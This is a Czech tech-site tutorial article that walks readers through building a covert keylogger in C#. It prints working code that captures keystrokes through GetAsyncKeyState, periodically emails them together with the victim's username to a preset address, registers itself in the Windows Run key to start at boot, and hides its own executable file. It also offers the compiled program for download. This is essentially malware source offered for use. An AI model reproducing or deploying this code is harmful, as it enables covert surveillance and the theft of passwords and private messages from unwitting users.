Staňte se programátorem: špion, který ví, co píšete

Jsou programy naprosto běžné a snadno přehlédnutelné a pak ty kontroverzní. Patří k nim i keyloggery, které tajně snímají výstup z klávesnice. Napište si s námi jednoduchého špiona.
Staňte se programátorem: špion, který ví, co píšete

Jak naprogramovat keylogger

V dnešním díle si naprogramujeme jednoduchý keylogger. Pokud nemáte tušení, oč jde, vězte, že se jedná o druh programu, který se skryje v systému a snímá stisknuté klávesy, které vždy po určitém počtu odesílá na předem stanovenou e-mailovou adresu. Většinou je tento druh programu využíván k nekalým účelům, ale najdou se i rozumnější důvody k použití – například kontrola, co se děje na vašem počítači v době vaší nepřítomnosti apod. Při jeho programování se naučíme tyto dovednosti:

  • Volání WinAPI funkcí (snímání kláves)
  • Odesílání e-mailových zpráv (odeslání snímaných kláves)
  • Ukládání hodnot do registrů (spuštění keyloggeru vždy po startu počítače)
  • Nastavování atributů souboru (skrytí keyloggeru)

Program se vždy při startu zapíše do registru „po spuštění“ a skryje se ve složce, ze které byl spuštěn. Dále bude obsahovat časovač, který v rychlých sekvencích kontroluje aktuálně stisknuté klávesy. Pokud jejich počet dosáhne námi stanoveného počtu, budou odeslány na e-mail.

Klepněte pro větší obrázek
Jediným dialogem programu bude úvodní nastavení

Volání WinAPI funkcí

Windows API je základní softwarové rozhraní sytému Microsoft Windows obsahující desítky knihoven pro základní systémové operace. V jazyce C# máme drtivou většinu funkcí již předprogramovanou v .NET Frameworku. Existují však výjimky, kde musíme volat metody knihoven WinAPI. Deklarace těchto metod se provádí následujícím způsobem:

[System.Runtime.InteropServices.DllImport("název knihovny")]
static extern návratový_typ název_metody(argumenty.....)

Například takto deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu:

[DllImport("User32.dll")]
static extern short GetAsyncKeyState(int vKey);

Posíláme klávesy na e-mail

Pro neustálou kontrolu stisknutých kláves je nutné tuto metodu volat v neustálých intervalech, k čemuž nám poslouží časovač představovaný třídou System.Windows.Forms.Timer. Tato komponenta obsahuje událost Tick, která pak představuje samotné tiknutí časovače vždy za určitý interval. Následující kód tedy zjistí stisknutou klávesu a přidá ji do paměti. Jakmile paměť dosáhne tří set znaků, celá dávka se odešle na e-mail.

Jelikož program zaznamenává stisk nejen základních znakových kláves, ale i ty s diakritikou, řídící a systémové, které systém identifikuje jinak než my, je nutné některé z nich pro snadnou orientaci přejmenovat – o to se postará metoda Replace.

void timer1_Tick(object sender, EventArgs e)
{
  string keyBuffer = "";
  // Snímá stisknuté klávesy
  foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
  {
    if (GetAsyncKeyState(i) == -32767)
      keyBuffer += Enum.GetName(typeof(Keys), i);
  }

  if (keyBuffer != "")
  {
    keyBuffer = keyBuffer.Replace("Space", " ");
    keyBuffer = keyBuffer.Replace("Delete", "<Del>");
    keyBuffer = keyBuffer.Replace("LShiftKey", "<SHIFT>");
    keyBuffer = keyBuffer.Replace("ShiftKey", "");
    keyBuffer = keyBuffer.Replace("OemQuotes", "!");
    keyBuffer = keyBuffer.Replace("Oemcomma", "?");
    keyBuffer = keyBuffer.Replace("D8", "á");
    keyBuffer = keyBuffer.Replace("D2", "ì");
    keyBuffer = keyBuffer.Replace("D3", "š");
    keyBuffer = keyBuffer.Replace("D4", "è");
    keyBuffer = keyBuffer.Replace("D5", "ø");
    keyBuffer = keyBuffer.Replace("D6", "ž");
    keyBuffer = keyBuffer.Replace("D7", "ý");
    keyBuffer = keyBuffer.Replace("D9", "í");
    keyBuffer = keyBuffer.Replace("D0", "é");
    keyBuffer = keyBuffer.Replace("Back", "<==");
    keyBuffer = keyBuffer.Replace("LButton", "<Levé myšítko>");
    keyBuffer = keyBuffer.Replace("RButton", "<Pravé myšítko>");
    keyBuffer = keyBuffer.Replace("NumPad", "");
    keyBuffer = keyBuffer.Replace("OemPeriod", ".");
    keyBuffer = keyBuffer.Replace("OemSemicolon", ",");
    keyBuffer = keyBuffer.Replace("Oem4", "/");
    
keyBuffer = keyBuffer.Replace("LControlKey", "<CTRL>");
    
keyBuffer = keyBuffer.Replace("ControlKey", "<CTRL>");
    
keyBuffer = keyBuffer.Replace("Enter", "<ENT>");
    
keyBuffer = keyBuffer.Replace("Shift", "<SHIFT>");
    
keyBuffer = keyBuffer.ToLower();
    klavesy += keyBuffer;
    
    
// Pokud je počet nasnímaných kláves roven nebo větší než
    
// námi definovaný počet, budou odeslány mailem
    if (klavesy.Length >= kolikKlaves)
    
{
       OdesliMail(mail,smtp, "klavesy@keylogger.cz" ,klavesy,
                  "Nasnímané klávesy uživatele "  + Environment.UserName);

      // Vynulování stisknutých kláves
      klavesy = "";
    }
  }
}

Klepněte pro větší obrázek Klepněte pro větší obrázek
Zatímco píšete článek v textovém procesoru, KeyLogger odesílá veškeré stisky kláves na předdefinovaný email

V poštovní zprávě jsou zaznamenány i všechny stisky funkčních kláves a v podobě zpětných šipek i mazání textu

Odesílání e-mailových zpráv

K posílání e-mailových zpráv slouží třída System.Net.Mail.SmtpClient do jejíž konstruktoru zadáme název smtp serveru na který má být zpráva zaslána. Následně je nutné vytvořit e-mailovou zprávu, která je představována instancí třídy MailMessage a odeslat ji metodou SendAsync třídy SmtpClient.

void OdesliMail(string adresa, string hostitel, string odesilatel, string obsah, string subject)
{
  SmtpClient smtp = new SmtpClient(hostitel);
  // Vytvoří e-mailovou zprávu
  MailMessage zprava = new MailMessage(odesilatel, adresa, subject, obsah);
  // Odešle zprávu
  smtp.SendAsync(zprava,null);
}

Ukládání hodnot do registrů

Pro editování hodnot registrů slouží třída RegistryKey, jejíž instanci vytvoříme metodou Registry.LocalMachine.OpenSubKey, která jako argument očekává řetězec představující cestu k registru, do kterého chceme zapisovat metodou SetValue. První argument této metody představuje název klíče a druhý argument jeho hodnotu.

try
{
  // Otevře registrový klíč "po spuštění"
  RegistryKey klic = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\
                                        Windows\\CurrentVersion\\Run", true);

  // Nastaví hodnotu klíče registru tak, aby se tato aplikace spouštěla vždy při
  // startu počítače
  klic.SetValue("KeyLogger", Application.ExecutablePath);
  klic.Close();
}

// Pokud se uložení do registrů nezdaří:
catch
{
  MessageBox.Show("Nepodařilo se zapsat do registru");
}

Kód je ale ve skutečnosti trošku složitější, program si totiž do registru při prvním spuštění uloží také e-mail, na který má zprávy odesílat, a příslušný SMTP server. Tato část kódu je víceméně analogická, data pouze zapisujete a čtete z jiné oblasti systémového registru.

Nastavení atributů souboru

Pro nastavení atributů souboru použijeme statickou metodu SetAttributes třídy System.IO.File, která jako první argument očekává cestu k souboru jehož atributy chceme nastavit. Výčet možných atributů je uložen ve výčtovém typu FileAttributes a představuje druhý argument této metody. V našem případě chceme keylogger skrýt, a proto použijeme položku Hidden.

System.IO.File.SetAttributes(Application.ExecutablePath, 
                             System.IO.FileAttributes.Hidden);
 

Snadno rozšiřitelný kód

A to je vlastně všechno. Obrázků dnes bylo pomálu, celá aplikace totiž pracuje na pozadí běhu Windows a obejde se bez ovládacích prvků. Zdrojový kód můžete snadno rozšířit, přidat ovládání třeba přes ikonu v oznamovací oblasti Windows a získávat informace o tom, který program má zrovna fokus a jeho název pro snazší orientaci vkládat do odesílaného textu.

Pokud tedy máte chuť a chcete přispět do našeho seriálu, pošlete nám kód na tento e-mail a my vaše úpravy zveřejníme v některém z příštích článků.

Nakonec nesmí chybět ani slíbený spustitelný program a projekt. K prvnímu budete potřebovat nainstalovaný novější Microsoft .NET Framework, pakliže si budete chtít projekt upravit a sestavit, budete potřebovat bezplatné vývojové prostředí Microsoft Visual C# 2008 Express Edition.

Diskuze (45) Další článek: Ta Windows nebo Ty Windows? Poradí vám WebSource.it

Témata článku: Software, Programování, Keylogger, Softwarové rozhraní, Programátor, Tolo, Klávesa, LCO, Shift, Základní znak, Druhý argument, Kody, Deklarace, Family, Píš, Celá dávka, První argument, Špion, Space, Catch


Určitě si přečtěte

Portál občana už funguje. Na státní web vypadá až překvapivě použitelně

Portál občana už funguje. Na státní web vypadá až překvapivě použitelně

** Portál občana už funguje, vyřídíte na něm první požadavky ** Funkce se budou postupně rozšiřovat ** Web je docela moderní a přehledný

David Polesný | 66

USB kabely IKEA: Ať už USB-C nebo Lightning, překvapí svými vlastnostmi

USB kabely IKEA: Ať už USB-C nebo Lightning, překvapí svými vlastnostmi

** IKEA nabízí USB kabely pro napájení telefonů či jiných zařízení ** Nově zařadila i kabel s konektorem Lightning pro zařízení Apple ** Kabely překvapily svým kvalitním zpracováním a nízkou cenou

David Polesný | 70

Ověřte si, jak je na tom váš disk nebo SSD: 8 tipů na aplikace, které vám to řeknou

Ověřte si, jak je na tom váš disk nebo SSD: 8 tipů na aplikace, které vám to řeknou

** Na pevných discích bývá uloženo to nejcennější – naše data ** Sledujte jejich „zdravotní stav“ pomocí jednoho z nástrojů ** Případné problémy díky nim odhalíte dříve než nastanou

Karel Kilián | 21

15 míst, kde můžete legálně sledovat filmy na internetu

15 míst, kde můžete legálně sledovat filmy na internetu

** Legálních služeb pro sledování filmů je celá řada, využít můžete předplatné či platbu za film ** Ceny jsou u mnohých velmi rozumné, limitem je pouze nabídka titulů ** České služby mají i dabované filmy, u zahraničních často chybí i české titulky

Vladislav Kluska | 44

Modelářský zázrak: Maketa raketoplánu Columbia, která létá jako skutečná raketa

Modelářský zázrak: Maketa raketoplánu Columbia, která létá jako skutečná raketa

** Model raketoplánu Columbia od českého konstruktéra umí i létat ** Obdivuhodný model si vzal 1600 hodin práce ** Podívejte se na fotografie ze stavby a prvního letu

Karel Jeřábek | 21

Tipy pro Google: Umí mnohem víc než jen vyhledávat, zkuste některé fígle

Tipy pro Google: Umí mnohem víc než jen vyhledávat, zkuste některé fígle

** Google není jen vyhledávací pole se dvěma tlačítky ** Můžete ho ovládnout pomocí parametrů a příkazů ** Kromě výsledků vyhledávání nabízí také další funkce

Karel Kilián | 15